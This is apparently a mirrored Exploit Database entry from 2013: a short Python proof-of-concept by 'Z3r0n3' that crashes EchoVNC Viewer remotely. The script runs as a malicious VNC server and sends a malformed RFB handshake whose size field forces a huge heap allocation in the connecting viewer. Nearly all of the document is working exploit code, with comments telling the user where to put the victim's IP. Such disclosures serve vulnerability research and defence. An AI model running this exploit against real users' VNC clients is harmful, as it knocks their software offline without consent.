EchoVNC Viewer – Remote Denial of Service

• Exploit Database
• 10 阅读

• 作者： Z3r0n3
  日期： 2013-08-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27292/

• #!/usr/bin/env python
  #================================================================#
  # [+] Title: EchoVNC Viewer Remote DoS Vulnerability #
  # [+] Discovered: 29/07/2013 #
  # [+] Software Vendor: http://sourceforge.net/projects/echovnc/#
  # [+] Author: Z3r0n3 - Independent Security Researcher #
  # [+] Contact: z3r0n3@mail.com #
  # [+] Overview:#
  # A remote attacker can crash EchoVNC Viewer by sending a#
  # malformed request. the crash occurs when EchoVNC #
  # Viewer allocate a buffer from heap with the size specified #
  # by the malicious server. #
  # [+] NOTICE:#
  # You need to configure EchoVNC Viewer with the specified#
  # host/port below. #
  # When running the exploit, you need to put the IP and press #
  # OK button on EchoVNC Viewer main window. #
  #================================================================#
  
  import socket, sys;
  
  host="localhost" # Put the victim IP here
  port=5900;
  malreq=b"\x00\x00\x00\x00\x90\x90\x90\x90" # the first 4 bytes specifies if the
   # server needs authentication
   # \x00\x00\x00\x00 means the server
   # doesn't need user/password
   # the last 4 bytes specifies the
   # buffer size that will be allocated
   # in heap
  
  print("[+] Creating socket...");
  srv=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
  try:
  print("[+] Trying to bind..");
  srv.bind((host,port));
  except socket.error:
  print("[!] Can't connect...");
  srv.close()
  sys.exit()
  
  print("[+] Trying to listen to %s:%d"%(host,port));
  srv.listen(5)
  cnx, addr=srv.accept()
  print("[+] Client connected %s:%s"%(addr[0], addr[1]))
  print("[+] Sending protocol signature...");
  cnx.send(b"RFB 003.008\n")
  print("[+] Sending malformed request with huge size for heap allocation");
  cnx.send(malreq);
  cnx.close()
  srv.close()
  print("[x] EchoVNC Viewer should be down...");